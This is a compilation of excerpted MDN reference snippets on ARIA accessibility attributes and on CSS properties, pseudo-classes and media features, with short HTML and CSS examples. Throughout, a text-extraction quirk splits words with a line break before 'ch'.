checkbox example uses aria-describedby tooltip example uses aria-describedby notes the aria-describedby attributed is not designed to reference descriptions on an external resource—since it is an id, it must reference an element in the same dom document.
... used by aria roles all elements of the base markup related aria te
chniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-describedby ...
Using the aria-required attribute - Accessibility
value true or false (default: false) possible effects on user agents and assistive te
chnology screen readers should announce the field as required.
... note that this attribute will not automatically
change the presentation of the field.
... note: opinions may differ on how assistive te
chnology should handle this te
chnique.
...name:</label> <input id="lastname" type="text" aria-required="true" /> <br/> <label for="streetaddress">street address:</label> <input id="streetaddress" type="text" /> </form> working examples: tooltip example (includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria te
chniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for forms constraint validation in html5 ...
Using the aria-valuemax attribute - Accessibility
description the aria-valuemax attribute is used to define the maximum value allowed for a range widget su
ch as a slider, spinbutton or progressbar.
... value string representation of a number possible effects on user agents and assistive te
chnology if the aria-valuemax is indeterminate, or if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive te
chnology.
... note: opinions may differ on how assistive te
chnology should handle this te
chnique.
... <div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria te
chniques aria-valuemin aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemax attribute ...
Using the aria-valuemin attribute - Accessibility
the aria-valuemin attribute is used to define the minimum value allowed for a range widget su
ch as a slider, spinbutton or progressbar.
... value string representation of a number possible effects on user agents and assistive te
chnology if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive te
chnology.
... note: opinions may differ on how assistive te
chnology should handle this te
chnique.
... <div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria te
chniques aria-valuemax aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemin attribute ...
ARIA: figure role - Accessibility
description any content that should be grouped together and consumed as a figure (whi
ch could include images, video, audio, code snippets, or other content) can be identified as a figure using role="figure".
...for example, make sure it is perceivable by users of assistive te
chnology, navigable by keyboard as well as mouse, and so on.
... <figcaption>text that describes the figure.</figcaption> </figure> if you don't want the label to be visible on the screen, but still want to provide a descriptive label for assistive te
chnology users, you can use the aria-label attribute on the figure container: <div role="figure" aria-label="text that describes the figure."> ...
... <img src="diagram.png" alt="diagram showing the four layers of awesome and their relative priority order — music, cats, nature, and ice cream"> <pre><code> let awesome = ['music', 'cats', 'nature', 'ice cream']; </code></pre> <figcaption>figure 1: the four layers of awesome.</figcaption> </figure> specifications specification status accessible ri
ch internet applications (wai-aria) 1.1the definition of 'figure' in that specification.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
example: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="
checkbox" /> <span id="labelshutdown">shut down computer after</span> <input aria-labelledby="labelshutdown shutdowntime shutdownunit" id="shutdowntime" type="text" value="10" /> <span id="shutdownunit"> minutes</span> a note for jaws 8 users jaws 8.0 has its own logic to find labels, causing it to always override the accessiblename the textbox of an html document gets.
...it is very useful and shows that some te
chniques that have been available for years escape even the gurus sometimes.
... this te
chnique works in firefox; however, it doesn't currently work in many other browsers, including ie.
... for labels with embedded form controls, using aria-labelledby is still the best approa
ch.
Accessibility FAQ - Accessibility
firefox 3 accessibility features (ar
chive.org) whi
ch assistive te
chnologies support firefox and thunderbird?
... assistive te
chnology compatibility - documents assistive te
chnologies for windows, linux, unix, mac os x and the degree of compatibility with firefox what can i do to make sure my mozilla extensions are accessible?
... in general, use the accessible toolkit
checklist (ar
chive.org).
... for interface design with xul, follow the accessibile xul authoring guidelines (ar
chive.org).
-moz-context-properties - CSS: Cascading Style Sheets
the -moz-context-properties property can be used within privileged contexts in firefox to share the values of specified properties of the element with a
child svg image.
... if you reference an svg image in a webpage (su
ch as with the <img> element or as a background image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... to do this the embedding element needs to list the properties that are to be made available to the image by listing them as values of the -moz-context-properties property, and the image needs to opt in to using those properties by using values su
ch as the context-fill value.
... fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and stroke set on the <img> element by giving them the context-fill/context-stroke keywords in their values, along with a fallback color for the fill (red) whi
ch will be used in the case that the svg is loaded standalone in a top-level window (where it will have no context element to provide context values).
-webkit-line-clamp - CSS: Cascading Style Sheets
when applied to an
chor elements, the truncating can happen in the middle of the text, not necessarily at the end.
...the css overflow module level 3 specification also defines a line-clamp property, whi
ch is meant to replace this property and avoid its issues.
... <integer> this value specifies the number of lines after whi
ch the content will be clamped.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax none | <integer> examples truncating a paragraph html <p> in this example the <code>-webkit-line-clamp</code> property is set to <code>3</code>, whi
ch means the text is clamped after three lines.
-webkit-mask-box-image - CSS: Cascading Style Sheets
initial value: none applies to: all elements inherited: no media: visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stret
ch | round | space values <uri> the location of the image resource to be used as a mask image.
... stret
ch the mask image is stret
ched to contain the border box exactly.
... round the mask image is stret
ched somewhat and repeated su
ch that there is no partial mask image at the end of the border box.
... space the mask image is repeated as many times as possible without stret
ching.
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
space the image is repeated as mu
ch as possible without clipping.
... round as the allowed space increases in size, the repeated images will stret
ch (leaving no gaps) until there is room for another one to be added.
...example: an image with an original width of 260px, repeated three times, might stret
ch until ea
ch repetition is 300px wide, and then another image will be added.
...specifiedanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for ea
ch mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('mask2.png'); -webkit-mask-repeat-x: repeat, space; } ea
ch image is mat
ched with the corresponding repeat style, from first specified to last.
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
space the image is repeated as mu
ch as possible without clipping.
... round as the allowed vertical space increases in size, the repeated images will stret
ch (leaving no gaps) until there is room for another one to be added.
...example: an image with an original height of 260px, repeated three times, might stret
ch until ea
ch repetition is 300px high, and then another image will be added.
...ercentageanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: no-repeat; } using multiple mask images you can specify a different <repeat-style> for ea
ch mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('mask2.png'); -webkit-mask-repeat-y: repeat, space; } ea
ch image is mat
ched with the corresponding repeat style, from first specified to last.
:-moz-first-node - CSS: Cascading Style Sheets
the :-moz-first-node css pseudo-class is a mozilla extension that represents any element that is the first
child node of some other element.
... it differs from :first-
child because it does not mat
ch a first-
child element with (non-whitespace) text before it.
... syntax :-moz-first-node examples css span:-moz-first-node { background-color: lime; } html <p> <span>this mat
ches!</span> <span>this doesn't mat
ch.</span> </p> <p> blahblah.
... <span>this doesn't mat
ch because it's preceded by text.</span> </p> result specifications not part of any standard.
:-moz-ui-invalid - CSS: Cascading Style Sheets
if the element is required, the preceding rules apply only if the user has
changed the value or attempted to submit the form.
... the result is that if the control was valid when the user started interacting with it, the validity styling is
changed only when the user shifts focus to another control.
...required items have the pseudo-class applied only if the user
changes them or attempts to submit an un
changed valid value.
... by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, whi
ch have this pseudo-class applied.
::marker - CSS: Cascading Style Sheets
the ::marker css pseudo-element selects the marker box of a list item, whi
ch typically contains a bullet or number.
... it works on any element or pseudo-element set to display: list-item, su
ch as the <li> and <summary> elements.
... syntax ::marker examples html <ul> <li>pea
ches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification.
... working draft no significant
change.
:active - CSS: Cascading Style Sheets
the :active css pseudo-class represents an element (su
ch as a button) that is being activated by the user.
... working draft no
change.
... recommendation no
change.
... recommendation no
change.
:any-link - CSS: Cascading Style Sheets
the :any-link css pseudo-class selector represents an element that acts as the source an
chor of a hyperlink, independent of whether it has been visited.
... in other words, it mat
ches every <a>, <area>, or <link> element that has an href attribute.
... thus, it mat
ches all elements that mat
ch :link or :visited.
... /* selects any element that would be mat
ched by :link or :visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification.
:enabled - CSS: Cascading Style Sheets
the element also has a disabled state, in whi
ch it can't be activated or accept focus.
...this helps the user understand whi
ch elements can be interacted with.
... living standard no
change.
... working draft no
change.
:hover - CSS: Cascading Style Sheets
the :hover css pseudo-class mat
ches when the user interacts with an element with a pointing device, but does not necessarily activate it.
... note: the :hover pseudo-class is problematic on tou
chscreens.
... depending on the browser, the :hover pseudo-class might never mat
ch, mat
ch only for a moment after tou
ching an element, or continue to mat
ch even after the user has stopped tou
ching and until the user tou
ches another element.
... note: for an analogous effect, but based on the :
checked pseudo-class (applied to hidden radioboxes), see this demo, taken from the :
checked reference page.
:nth-last-of-type() - CSS: Cascading Style Sheets
the :nth-last-of-type() css pseudo-class mat
ches elements of a given type, based on their position among a group of siblings, counting from the end.
... syntax the nth-last-of-type pseudo-class is specified with a single argument, whi
ch represents the pattern for mat
ching elements, counting from the end.
... see :nth-last-
child for a more detailed explanation of its syntax.
... working draft mat
ching elements are not required to have a parent.
:nth-of-type() - CSS: Cascading Style Sheets
the :nth-of-type() css pseudo-class mat
ches elements of a given type (tag name), based on their position among a group of siblings.
... /* selects every fourth <p> element among any group of siblings */ p:nth-of-type(4n) { color: lime; } syntax the nth-of-type pseudo-class is specified with a single argument, whi
ch represents the pattern for mat
ching elements.
... see :nth-
child for a more detailed explanation of its syntax.
... working draft mat
ching elements are not required to have a parent.
src - CSS: Cascading Style Sheets
<font-face-name> specifies the name of a locally-installed font face using the local() function, whi
ch uniquely identifies a single font face within a larger family.
... as with other urls in css, the url may be relative, in whi
ch case it is resolved relative to the location of the style sheet containing the @font-face rule.
...fragment identifiers are used to indicate whi
ch font to load.
... if a container format lacks a defined fragment identifier s
cheme, a simple 1-based indexing s
cheme (e.g., "font-collection#1" for the first font, "font-collection#2" for the second font, etc.) is used.
@import - CSS: Cascading Style Sheets
note that the url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is
chosen automatically (e.g.
...
chrome://communicator/skin/).
... description imported rules must precede all other types of rules, except @
charset rules; as it is not a nested statement, @import cannot be used inside conditional group at-rules.
...<mf-value>where <mf-name> = <ident><mf-value> = <number> | <dimension> | <ident> | <ratio> examples importing css rules @import 'custom.css'; @import url("
chrome://communicator/skin/"); importing css rules conditionally @import url("fineprint.css") print; @import url("bluish.css") spee
ch; @import "common.css" screen; @import url('landscape.css') screen and (orientation:landscape); specifications specification status comment css cascading and inheritance level 4the definition of 'the @import rule' in that specification.
any-hover - CSS: Cascading Style Sheets
the any-hover css media feature can be used to test whether any available input me
chanism can hover over elements.
... syntax the any-hover feature is specified as a keyword value
chosen from the list below.
... none none of the available input me
chanism(s) can hover conveniently, or there is no pointing input me
chanism.
... hover one or more available input me
chanisms can conveniently hover over elements.
aspect-ratio - CSS: Cascading Style Sheets
examples the example below is contained in an <iframe>, whi
ch creates its own viewport.
... html <div id='inner'> wat
ch this element as you resize your viewport's width and height.
...ep="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> wat
ch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.on
change=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.on
change=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specif...
... candidate recommendation no
change.
aural - CSS: Cascading Style Sheets
the aural css media type is used for devices that have spee
ch output capabilities.
... note: this media type has been deprecated in favor of spee
ch.
... syntax the aural css media type—whi
ch has been deprecated in favor of the spee
ch media type—was used to specify a block of css that applied only when the content is being presented using a spee
ch synthesis device.
... @media aural { /* spee
ch-specific styles here */ } updating existing css to use the spee
ch media type should be as simple as replacing aural with spee
ch.
forced-colors - CSS: Cascading Style Sheets
the forced-colors css media feature is used to detect if the user agent has enabled a forced colors mode where it enforces a user-
chosen limited color palette on the page.
... note: this feature is not supported by any user agent and its specifics are subject to
change.
...the browser provides the color palette to authors through the css system color keywords and, if appropriate, it triggers the appropriate value of prefers-color-s
cheme so that authors can adapt the page.
... user preferences currently no user agent implements this feature, although various operating systems do support su
ch preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system in use.
hover - CSS: Cascading Style Sheets
the hover css media feature can be used to test whether the user's primary input me
chanism can hover over elements.
... syntax the hover feature is specified as a keyword value
chosen from the list below.
... none the primary input me
chanism cannot hover at all or cannot conveniently hover (e.g., many mobile devices emulate hovering when the user performs an inconvenient long tap), or there is no primary pointing input me
chanism.
... hover the primary input me
chanism can conveniently hover over elements.
scan - CSS: Cascading Style Sheets
the word scanning used in this context does not refer to an image scanner, su
ch as one used to digitize a photograph.
... rather, it means the process by whi
ch an image is painted onto a television screen (or other device).
... syntax the scan feature is specified as a single keyword value
chosen from the list below.
... candidate recommendation no
change.
Box alignment in Flexbox - CSS: Cascading Style Sheets
as this page aims to detail things whi
ch are specific to flexbox and box alignment, it should be read in conjunction with the main box alignment page whi
ch details the common features of box alignment across layout methods.
... however, in flexbox you can
change the main axis by setting flex-direction to column.
... on the cross axis align-self makes sense as we potentially have additional space in the flex container in that dimension, in whi
ch a single item can be moved to the start and end.
... reference css properties justify-content align-content place-content justify-items align-items place-items align-self row-gap column-gap gap glossary entries cross axis main axis guides alignment in flexbox external resources box alignment
cheatsheet css grid, flexbox and box alignment thoughts on partial implementations of box alignment ...
Handling Overflow in Multicol - CSS: Cascading Style Sheets
if you want an image to size down to fit the column box, the standard responsive images solution of setting max-width: 100% will a
chieve that for you.
... more columns than will fit how overflowing columns are handled depends on whether you are in a fragmented media context, su
ch as print, or a continuous media context, su
ch as a web page.
... using vertical media queries one issue with multicol on the web is that, if your columns are taller than the viewport, the reader will need to scroll up and down to read, whi
ch is not good user experience.
... in the example below we have used a min-height query to
check the height before applying the column properties.
CSS Overflow - CSS: Cascading Style Sheets
this is the overflow of painting effects whi
ch do not affect layout or otherwise extend the scrollable overflow region, su
ch as box shadows, border images, text decoration, overhanging glyphs, outlines, etc.
...this is the content appearing outside of the box for whi
ch scrolling me
chanisms need to be provided.
... basic example the following interactive example shows how
changing the value of the overflow property,
changes how the overflow of a fixed height box is dealt with.
... working draft
changed syntax to allow one or two keywords instead of only one css level 2 (revision 1)the definition of 'overflow' in that specification.
Class selectors - CSS: Cascading Style Sheets
the css class selector mat
ches elements based on the contents of their class attribute.
... working draft no
changes selectors level 3the definition of 'class selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of '
child selectors' in that specification.
... recommendation css level 1the definition of '
child selectors' in that specification.
Inline formatting context - CSS: Cascading Style Sheets
in the example below, the two (<div>) elements with the black borders form a block formatting context, inside whi
ch ea
ch word participates in an inline formatting context.
... alignment in the block direction inline boxes may be aligned in the block direction in different ways, using the vertical-align property, whi
ch will align on the block axis in vertical writing modes (therefore not vertically at all!).
...i have used the value top, try
changing it to middle, bottom, or baseline.
...try
changing the value of text-align below to end.
border-block-start - CSS: Cascading Style Sheets
the physical border to whi
ch it maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-end, border-inline-start, and border-inline-end, whi
ch define the other borders of the element.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-width: as ea
ch of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as ea
ch of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:border-wid...
...th: as ea
ch of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-style: as ea
ch of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedborder-block-start-color: computed coloranimation typeas ea
ch of the properties of the shorthand:border-block-start-color: a colorborder-block-start-style: discreteborder-block-start-width: a length formal syntax <'border-top-width'> | <'...
border-bottom - CSS: Cascading Style Sheets
formal definition initial valueas ea
ch of the properties of the shorthand:border-bottom-width: mediumborder-bottom-style: noneborder-bottom-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas ea
ch of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-bottom-style: as specifiedborder-bottom-color: computed coloranimation typeas ea
ch of the properties of the shorthand:border-bottom-color: a colorborder-bottom-style: discreteborder-bottom-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... candidate recommendation no direct
changes, though the modification of values for the border-bottom-color do apply to it.
... recommendation no significant
changes.
border-inline-start - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: border-inline-start-color border-inline-start-style border-inline-start-width syntax border-inline-start: 1px; border-inline-start: 2px dotted; border-inline-start: medium dashed green; the physical border to whi
ch border-inline-start maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-start, border-block-end, and border-inline-end, whi
ch define the other borders of the element.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-width: as ea
ch of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as ea
ch of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:border-wi...
...dth: as ea
ch of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-style: as ea
ch of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedborder-inline-start-color: computed coloranimation typeas ea
ch of the properties of the shorthand:border-inline-start-color: a colorborder-inline-start-style: discreteborder-inline-start-width: a length formal syntax <'border-top-width'>...
border-inline - CSS: Cascading Style Sheets
border-inline: 1px; border-inline: 2px dotted; border-inline: medium dashed blue; the physical borders to whi
ch border-inline maps depends on the element's writing mode, directionality, and text orientation.
... the borders in the other dimension can be set with border-block, whi
ch sets border-block-start, and border-block-end.
... initial valueas ea
ch of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete constituent properties this property is a shorthand for the following css properties: border-inline-color border-inline-style border-inline-width syntax values the border-inline is specified with one or more of the following, in any order: <'border-width'> the width of the border.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas ea
ch of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal syntax <'border-top-width'> | <'border-top-style'> | <'color'>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
border-left-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by ea
ch keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-left-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-
child(1) { border-left-width: thick; } div:nth-
child(2) { border-left-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
... candidate recommendation no significant
change.
... recommendation no significant
change.
border-radius - CSS: Cascading Style Sheets
note: as with any shorthand property, individual sub-properties cannot inherit, su
ch as in border-radius:0 0 inherit inherit, whi
ch would partially override existing definitions.
... values radius is a <length> or a <percentage> denoting a radius to use for the border in ea
ch corner of the border.
...is equivalent to: */ border-top-left-radius: 4px 2px; border-top-right-radius: 3px 4px; border-bottom-right-radius: 6px 2px; border-bottom-left-radius: 3px 4px; formal definition initial valueas ea
ch of the properties of the shorthand:border-top-left-radius: 0border-top-right-radius: 0border-bottom-right-radius: 0border-bottom-left-radius: 0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...it also applies to ::first-letter.inheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas ea
ch of the properties of the shorthand:border-bottom-left-radius: two absolute <length>s or <percentage>sborder-bottom-right-radius: two absolute <length>s or <percentage>sborder-top-left-radius: two absolute <length>s or <percentage>sborder-top-right-radius: two absolute <length>s or <percentage>sanimation typeas ea
ch of the properties of the shorthand:border-top-left-radius: a length, percentage or calc();border-top-right-radius: a length, percentage or calc();border-bottom-right-radius: a length, percentage or calc();border-bottom-left-radius: a length, percentage or calc(); formal syntax <l...
border-right-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by ea
ch keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-right-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-
child(1) { border-right-width: thick; } div:nth-
child(2) { border-right-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
... candidate recommendation no significant
change.
... recommendation no significant
change.
border-style - CSS: Cascading Style Sheets
ea
ch value is a keyword
chosen from the list below.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: noneapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas ea
ch of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedanimation typediscrete formal syntax <line-style>{1,4}where <line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset examples table with all property values here is an example of all the property values.
... candidate recommendation no
change.
border-top-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by ea
ch keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-top-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-
child(1) { border-top-width: thick; } div:nth-
child(2) { border-top-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
... candidate recommendation no significant
change.
... recommendation no significant
change.
border-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by ea
ch keyword, the precise result when using one of them is implementation-specific.
... formal definition initial valueas ea
ch of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas ea
ch of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenanimation typeas ea
ch of the properties of the shorthand:border-bottom-width: a lengthborder-left-width: a lengthborder-right-width: a lengthborder-top-width: a length formal syntax <line-width>{1,4}where <line-width> = <length> | thin | medium | thick examples a mix of values and lengths html <p id="sval"> one value: 6px wide border on all 4 sides</p> <p...
... candidate recommendation no direct
change; the <length> css data type extension has an effect on this property.
box-flex - CSS: Cascading Style Sheets
it does not mat
ch either the old css flexible box layout module drafts for 'box-flex' (whi
ch were based on this property) or the behavior of '-webkit-box-flex' (whi
ch is based on those drafts).
... notes the containing box allocates the available extra space in proportion to the flex value of ea
ch of the content elements.
... formal definition initial value0applies toelements that are direct
children of an element with a css display value of -moz-box or -moz-inline-box or -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax <number> examples setting box-flex <!doctype html> <html> <head> <title>-moz-box-flex example</title> <style> div.example { display: -moz-box; display: -webkit-box; bor...
...der: 1px solid black; width: 100%; } div.example > p:nth-
child(1) { -moz-box-flex: 1; /* mozilla */ -webkit-box-flex: 1; /* webkit */ border: 1px solid black; } div.example > p:nth-
child(2) { -moz-box-flex: 0; /* mozilla */ -webkit-box-flex: 0; /* webkit */ border: 1px solid black; } </style> </head> <body> <div class="example"> <p>i will expand to fill extra space</p> <p>i will not expand</p> </div> </body> </html> specifications not part of any standard.
box-ordinal-group - CSS: Cascading Style Sheets
the box-ordinal-group css property assigns the flexbox's
child elements to an ordinal group.
... /* <integer> values */ box-ordinal-group: 1; box-ordinal-group: 5; /* global values */ box-ordinal-group: inherit; box-ordinal-group: initial; box-ordinal-group: unset; ordinal groups may be used in conjunction with the box-direction property to control the order in whi
ch the direct
children of a box appear.
... formal definition initial value1applies to
children of box elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples basic usage example in an older version of the spec, box-ordinal-group was included to allow you to
change the display order of flex
children inside a flex container: article:nth-
child(1) { -webkit-box-ordinal-group: 2 -moz-box-ordinal-group: 2 box-ordinal-group: 2 } arti...
...cle:nth-
child(2) { -webkit-box-ordinal-group: 1 -moz-box-ordinal-group: 1 box-ordinal-group: 1 } the modern flexbox equivalent is order.
box-orient - CSS: Cascading Style Sheets
inline-axis (html) the box displays its
children along the inline axis.
... block-axis (html) the box displays its
children along the block axis.
... the inline and block axes are the writing-mode dependent keywords whi
ch, in english, map to horizontal and vertical respectively.
... html <div class="example"> <p>i will be to the left of my sibling.</p> <p>i will be to the right of my sibling.</p> </div> css div.example { display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ display: box; /* as specified */ /*
children should be oriented vertically */ -moz-box-orient: horizontal; /* mozilla */ -webkit-box-orient: horizontal; /* webkit */ box-orient: horizontal; /* as specified */ } result specifications not part of any standard.
box-pack - CSS: Cascading Style Sheets
justify the space is divided evenly in-between ea
ch child, with none of the extra space placed before the first
child or after the last
child.
... if there is only one
child, treat the value as if it were start.
...efinition initial valuestartapplies toelements with a css display value of -moz-box, -moz-inline-box, -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | justify examples div.example { border-style: solid; display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make this box taller than the
children, so there is room for the box-pack */ height: 300px; /* make this box wide enough to show the contents are centered horizontally */ width: 300px; /*
children should be oriented vertically */ -moz-box-orient: vertical; /* mozilla */ -webkit-box-orient: vertical; /* webkit */ /* align
children to the horizontal center of this box */ -moz-box-align: center; /* mozil...
...la */ -webkit-box-align: center; /* webkit */ /* pack
children to the bottom of this box */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example p { /* make
children narrower than their parent, so there is room for the box-align */ width: 200px; } <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> specifications not part of any standard.
